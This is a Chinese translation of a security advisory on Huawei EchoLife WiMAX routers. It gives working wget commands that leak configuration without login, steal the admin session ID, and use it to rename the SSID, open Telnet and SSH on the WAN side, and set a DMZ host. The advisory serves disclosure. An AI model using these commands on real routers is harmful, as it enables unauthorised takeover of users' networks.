漏洞概述
华为BM626e是一款设计很不严谨的Wimax路由器/Ap设备,其可为互联网提供一个Wimax网络。
以下测试是在最新版本的固件(V100R001CIVC24B010)下进行
注意:该固件在华为其他Wimax设备也有使用到,据华为官方确认以下设备是存在漏洞的:
EchoLife BM626e WiMAX CPE EchoLife BM626 WiMAX CPE EchoLife BM635 WiMAX CPE EchoLife BM632 WiMAX CPE EchoLife BM631a WiMAX CPE EchoLife BM632w WiMAX CPE EchoLife BM652 WiMAX CPE
目前该路由器仍然在一些国家和地区进行销售和使用,至少目前我们获知以下国家和地区还在使用该产品:
MTN CI (科特迪瓦) Iran Cell (伊朗) Irak Telecom (伊拉克) Libyamax (利比亚) Globe Telecom (菲律宾) Zain Bahrain (巴林岛) FreshTel (乌克兰)
细节-未经身份验证泄漏敏感信息
默认情况下,http://192.168.1.1/check.html网页包含了重要信息(wimax配置,网络配置,WiFi和sip配置等),然而这些信息不用进行身份验证便可以轻松获取!
虽说使用Javascript重定向可骚扰攻击者(/login.html),但是通过使用wget可轻松获取信息啊:
root@kali:~# wget http://192.168.1.1/check.html; less check.html
细节-Admin会话cookies劫持
如果一个管理员当前正在管理设备(或者正在使用设备,而没有采用正确的方式断开),攻击者可盗取位于LAN(或者是WAN:如果在WAN接口中开放了HTTP)中的当前/使用的会话
管理员会话ID("SID")可在多个页面下不经过身份验证重新找回:
http://192.168.1.1/wimax/security.html http://192.168.1.1/static/deviceinfo.html ...
security.html网页中包含了一个有效的会话ID,而且不需要进行身份验证。
sid="SID24188"
在JavaScript中写有一个“保护”,会将攻击者重定向到登录页面。但是这个Javascript中包含了管理员会话(sid="SIDXXXXX"),所以攻击者可使用wget命令轻松获取内容:
root@kali:~# wget http://192.168.1.1/wimax/security.html ; less security.html root@kali:~# wget http://192.168.1.1/static/deviceinfo.html ; less deviceinfo.html
请注意:通过访问网页,攻击者是可以通过管理面板断开管理员连接的。
细节-使用盗取的管理员会话ID可获取敏感信息及进行CSRF攻击
通过使用之前盗取的SID,不需要任何凭证便能够执行管理员才有操作权限的任务:
编辑WLAN配置 编辑WAN配置 编辑LAN配置 在LAN和WAN接口中打开HTTP/HTTPS/TELNET/SSH 改变DMZ配置 编辑端口映射 编辑通讯端口触发程序 编辑SIP配置 上传自定义固件 ...
获取个人信息(网络信息):
root@kali:~# wget -qO- 'http://192.168.1.1/static/rethdhcp.jsx?WWW_SID=SID24188&t=0' Saving to: `STDOUT' stats={};do{stats.dhcplist="44:8A:5B:AA:AA:AA,192.168.1.3,71:52:02@00:E0:4C:AA:AA:AA,192.168.1.2,71:52:02"; stats.reth=" eth0 Link encap:Ethernet HWaddr 34:6B:D3:AA:AA:AA UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1 RX packets:27 errors:0 dropped:0 overruns:0 frame:0 TX packets:109 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:2887 (2.8 KiB) TX bytes:46809 (45.7 KiB) Interrupt:9 Base address:0x4000 eth1 Link encap:Ethernet HWaddr 34:6B:D3:AA:AA:AA UP BROADCAST PROMISC MULTICAST MTU:1500 Metric: RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) Interrupt:9 Base address:0x4000 eth2 Link encap:Ethernet HWaddr 34:6B:D3:AA:AA:AA UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1 RX packets:2530 errors:0 dropped:0 overruns:0 frame:0 TX packets:2619 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:351557 (343.3 KiB) TX bytes:536669 (524.0 KiB) Interrupt:9 Base address:0x4000 eth3 Link encap:Ethernet HWaddr 34:6B:D3:AA:AA:AA UP BROADCAST PROMISC MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) Interrupt:9 Base address:0x4000 ";stats.wlaninfo=" wl0 Link encap:Ethernet HWaddr 34:6B:D3:AA:AA:AA UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:5257 errors:0 dropped:0 overruns:0 frame:0 TX packets:846 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:1117126 (1.0 MiB) TX bytes:279600 (273.0 KiB) wl1 Link encap:Ethernet HWaddr 34:6B:D3:AA:AA:AA UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 [...] root@kali:~#
获取个人信息:
另一个JSX网页:http://192.168.1.1/advanced/wanconnect.jsx?www_sid=sid24188&&t=0
root@kali:~# wget -qO- 'http://192.168.1.1/advanced/WANconnect.jsx?WWW_SID=SID24188&&t=0' stats={};do{stats.PPPoEStatus='Disconnected'; stats.GREStatus='Disconnected';stats.wpsmode="7";stats.position="Idle,Idle,"}while(0);
从这个JSX网页中我们可以获取很多信息,这个JSX网页留作读者作业。
在Wimax路由器中会话ID也可以用来改变参数
编辑WLAN的配置:
这个请求会将第一个SSID改名为powned(你需要编辑/wimax/security.html网页中提供的WWW_SID):
root@kali:~# wget --no-cookies --header "Cookie: LoginTimes=0:LoginOverTime=0; FirstMenu=User_1; SecondMenu=User_1_1; ThirdMenu=User_1_1_1" --post-data='WWW_SID=SID24188&REDIRECT=wlan.html&SERVICE=wifi&SLEEP=2&WLAN_WifiEnable=1&Wlan_chkbox=0&WLAN_WirelessMode=9&WLAN_Channel=0&WLAN_SSID1=powned&WLAN_HideSSID=0%3B0%3B&WLAN_AuthMode=WPAPSKWPA2PSK%3BWPAPSKWPA2PSK%3B&WLAN_EncrypType=TKIPAES%3BTKIPAES%3B&WLAN_COUNTRY_REGION=1&WLAN_Country_Code=1d&WLAN_TXPOWER_NOR=13&WLAN_MAXNUM_STA=16%3B16%3B&WLAN_FragThreshold=2346&WLAN_BeaconPeriod=100&WLAN_RTSThreshold=2347&WLAN_BssidNum=2&WLAN_WscConfMode=7&WLAN_WscAction=3&WLAN_CountryCode=CI&WLAN_WscPinCode=&WLAN_TXRATE=0&WLAN_HTBW=0&WLAN_NTH_SSID=1&WLAN_PinFlag=2' http://192.168.1.1/basic/mtk.cgi
打开管理接口:
该请求会打开LAN以及WAN接口中的HTTP/HTTPS/TELNET/SSH(你需要编辑/wimax/security.html网页中提供的WWW_SID):
root@kali:~# wget --no-cookies --header "Cookie: LoginTimes=0:LoginOverTime=0; FirstMenu=User_2; SecondMenu=User_2_1; ThirdMenu=User_2_1_0" --post-data='WWW_SID=SID24188&REDIRECT=acl.html&SERVICE=mini_httpd%2Cmini_httpsd%2Ctelnetd%2Cdropbear&SLEEP=2&HTTPD_ENABLE=1&HTTPSD_ENABLE=1&MGMT_WEB_WAN=1&MGMT_TELNET_LAN=1&MGMT_TELNET_WAN=1&MGMT_SSH_LAN=1&MGMT_SSH_WAN=1&HTTPD_PORT=80&httpslan=getValue%28&HTTPSD_PORT=443&TELNETD_PORT=23&SSHD_PORT=22' http://192.168.1.1/basic/mtk.cgi
(管理员可在http://192.168.1.1/advanced/acl.html页面检查改变)
改变DMZ操作:
重定向WAN端口到位于LAN中的目标客户端(你需要编辑/wimax/security.html网页中提供的WWW_SID):
root@kali:~# wget --no-cookies --header "Cookie: LoginTimes=0:LoginOverTime=0; FirstMenu=User_2; SecondMenu=User_2_1; ThirdMenu=User_2_1_0" --post-data='WWW_SID=SID24188&REDIRECT=dmz.html&SERVICE=netfilter_dmz&NETFILTER_DMZ_HOST=192.168.1.2&NETFILTER_DMZ_ENABLE=1&DMZInterface=InternetGatewayDevice.WANDevice.1.WANConnectionDevice.1.WANIPConnection.1&DMZHostIPAddress=192.168.1.2&DMZEnable=on&TriggerPort=&TriggerPortEnd=' http://192.168.1.1/advanced/user.cgi
(管理员可在http://192.168.1.1/advanced/dmz.html页面检查改变)
其他一些可能的操作同样留作读者作业吧:
Editing PortMapping Editing Porttrigger Editing Sip configuration Uploading a custom firmware ...
该漏洞是由Pierre Kim(@PierreKimSec)挖掘
参考文献
https://pierrekim.github.io/advisories/2015-huawei-0×01.txt
https://pierrekim.github.io/blog/2015-12-01-Huawei-Wimax-routers-vulnerable-to-multiple-threats.html
*原文地址:Pierrekim,编译/ 鸢尾,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)